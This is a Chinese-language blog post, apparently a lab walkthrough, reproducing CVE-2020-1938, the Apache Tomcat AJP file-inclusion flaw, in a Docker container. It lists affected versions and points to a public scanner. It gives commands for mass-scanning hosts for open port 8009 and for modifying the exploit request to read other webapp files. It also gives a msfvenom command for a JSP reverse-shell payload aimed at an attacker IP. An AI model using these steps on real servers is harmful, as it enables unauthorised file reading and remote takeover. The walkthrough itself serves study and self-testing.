CVE-2020-1938 Apache Tomcat AJP文件包含漏洞

影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

复现

环境准备

选取一个版本受影响的Tomcat, 我们这里在Docker hub上找了一个官方9.0.30版本的Tomcat镜像来复现

docker pull tomcat:9.0.30-jdk8-adoptopenjdk-hotspot

运行容器后, 进入容器里的/usr/local/tomcat目录, 将webapps.dist下的内容复制到webapps目录下

docker run --rm -p 8009:8009 -p 8080:8080 -d tomcat:9.0.30-jdk8-adoptopenjdk-hotspot

访问8080端口,查看Tomcat是否正常运行

工具准备

访问下面的链接或在github上自己寻找

https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner

简单测试

threading-find-port-8009.py用于找出开放8009端口的域名或IP, 我们将要扫描的域名或IP放于ip.txt

运行threading-find-port-8009.py后会生成8009.txt, 它保存 ip.txt 中开放8009端口的域名/IP

python threading-find-port-8009.py

threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py从8009.txt中筛选出符合漏洞的url, 放置于vul.txt中. 最后vul.txt中存在的域名即为含有漏洞的域名.

python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py

跨目录读取

脚本默认读取ROOT目录下的文件, 如果想读取webapps其他目录下的文件, 可以对脚本进行简单的修改

不可以跨目录读取/etc/passwd等文件, 只能读取和包含webapps目录下的文件 

修改“/asdf”就可以实现跨目录读取. 比如我们要读取test目录下的test.txt

_,data = t.perform_request('/test/asdf',attributes=[

在webapps下的创建一个test目录, 放上一个test.txt文件

然后用修改后的脚本读取这个文件即可

反弹shell

如果服务器同时存在文件上传漏洞, 则可以进一步取得shell. 我们先修改一下脚本, 在“/asdf”后面加上“.jsp”即可

_,data = t.perform_request('/asdf.jsp',attributes=[

生成Payload, 其中192.168.125.130是攻击者地址

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt

设置好payload,然后开始监听

将shell.txt放到webapps的ROOT目录下后,运行脚本

获得shell

防护建议

http://blog.nsfocus.net/cve-2020-1938/

 

声明

本文仅用于安全自测及交流学习,请勿用于非法操作。利用本文造成的任何直接或间接后果,由使用者本人负责。

 

参考资料

https://www.lstazl.com/tomcat%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9ecnvd-2020-1048/

https://www.geek-by.xyz/2020/02/21/cve-2020-1938-apache-tomcat-ajp-wen-jian-bao-han-lou-dong/

posted @ 2020-03-31 15:06  那少年和狗  阅读(1469)  评论(0编辑  收藏  举报